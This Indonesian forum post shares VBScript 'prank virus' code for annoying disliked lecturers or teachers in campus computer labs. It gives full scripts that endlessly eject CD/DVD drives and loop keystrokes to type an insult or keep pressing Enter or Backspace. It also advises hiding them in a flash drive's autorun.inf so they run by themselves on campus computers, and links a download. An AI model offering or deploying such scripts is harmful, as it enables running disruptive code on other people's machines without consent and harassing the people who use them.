AgoessNaruto Robot Forum Bot
Join Date: 16/05/2009 Lokasi: AgoessNaruto Office Comments: Bot's for help you in Forum AgoessNaruto
| |
Shinobu TakamiyaA Gray Exorcist
Posting : 276 Join date : 01.04.13 Age : 28 Lokasi : Negara Besar Hi, Desa Konohagakure
Databook SayaWhatsApp/Handphone Number: PIN BBM/LINE ID: Kontak Lain:
| #1Subyek: [Share] Cara Membuat Virus .vbs 1/1/2014, 9:30 am | |
| Sumber : http://www.hong.web.id/tutorial/cara-membuat-virus-nakal
Yuk buat “Virus” Nakal, buat ngerjain dosen/guru yang kita ngga suka, lagi suntuk di ruang labkom kampus, pusing ngga bisa maen facebook karena diblokir sama admin labkom, yah iseng2 buatin scripts .vbs. Caranya: Buka notepad dan masukkan code berikut, - Code:
-
Set oWMP = CreateObject("WMPlayer.OCX.7") Set colCDROMs = oWMP.cdromCollection do if colCDROMs.Count >= 1 then For i = 0 to colCDROMs.Count - 1 colCDROMs.Item(i).Eject Next For i = 0 to colCDROMs.Count - 1 colCDROMs.Item(i).Eject Next End If wscript.sleep 5000 loop Simpanlah dengan file tadi dengan ekstensi file iseng.vbs ato apapun nama kesukaan asalkan pastikan ekstensinya .vbs, dan jalankan filenya ( Klik 2x), perhatikan CD/DVD ROM akan terbuka/tertutup dengan sendirinya tanpa henti. Salah satu cara menghentikan aksi Virus Nakal ini ialah dengan menekan tombol CRTL+ALT+DEL dan matikan proses wscripts.exe, Kalo mau keren lagi, masukkan ke file autorun.inf di flashdisk anda, jadi setiap Anda colokin ke kompie kampus, maka akan otomatis dijalankan “Virus” Nakal ini. NB: kl males atau ga tau cara copasnya. download ajah linknya diakhir artikel: Nah mau script .vbs yang laen lagi? - Code:
-
WScript.Sleep 18000 WScript.Sleep 1000 do Set WshShell = WScript.CreateObject("WScript.Shell") WshShell.Run "notepad" WScript.Sleep 100 WshShell.AppActivate "Notepad" WScript.Sleep 500 WshShell.SendKeys "H" WScript.Sleep 500 WshShell.SendKeys "a" WScript.Sleep 500 WshShell.SendKeys "l" WScript.Sleep 500 WshShell.SendKeys "o" WScript.Sleep 500 WshShell.SendKeys ". " WScript.Sleep 500 WshShell.SendKeys "a" WScript.Sleep 500 WshShell.SendKeys "p" WScript.Sleep 500 WshShell.SendKeys "a" WScript.Sleep 500 WshShell.SendKeys " " WScript.Sleep 500 WshShell.SendKeys "k" WScript.Sleep 500 WshShell.SendKeys "a" WScript.Sleep 500 WshShell.SendKeys "b" WScript.Sleep 500 WshShell.SendKeys "a" WScript.Sleep 500 WshShell.SendKeys "r" WScript.Sleep 500 WshShell.SendKeys "?" WScript.Sleep 500 WshShell.SendKeys " " WScript.Sleep 500 WshShell.SendKeys "K" WScript.Sleep 500 WshShell.SendKeys "a" WScript.Sleep 500 WshShell.SendKeys "b" WScript.Sleep 500 WshShell.SendKeys "a" WScript.Sleep 500 WshShell.SendKeys "r" WScript.Sleep 500 WshShell.SendKeys " " WScript.Sleep 500 WshShell.SendKeys "b" WScript.Sleep 500 WshShell.SendKeys "a" WScript.Sleep 500 WshShell.SendKeys "i" WScript.Sleep 500 WshShell.SendKeys "k" WScript.Sleep 500 WshShell.SendKeys "?" WScript.Sleep 500 wscript.sleep 5000 loop Scripts diatas nanti otomatis buka notepad dan ketik: Halo. apa kabar? kabar baik? ingat yah simpan dengan ekstensi nama .vbs, klik file–>save as Kode Vbs ini akan membuat user terus mengetikkan kata2 “Kamu emang *sensor* koq!” - Code:
-
Set wshShell = wscript.CreateObject("WScript.Shell") do wscript.sleep 100 wshshell.sendkeys "Kamu emang jelak koq!" loop Dan membuat terus menerus menekan tombol “Enter” - Code:
-
Set wshShell = wscript.CreateObject("WScript.Shell") do wscript.sleep 100 wshshell.sendkeys "~(enter)" loop Terus tekan backspace: - Code:
-
MsgBox "Balik lagi ah...saltik" Set wshShell =wscript.CreateObject("WScript.Shell") do wscript.sleep 100 wshshell.sendkeys "{bs}" loop Download virusnya disini
ingat!!, gunakan dengan sebaik-baiknya! |
|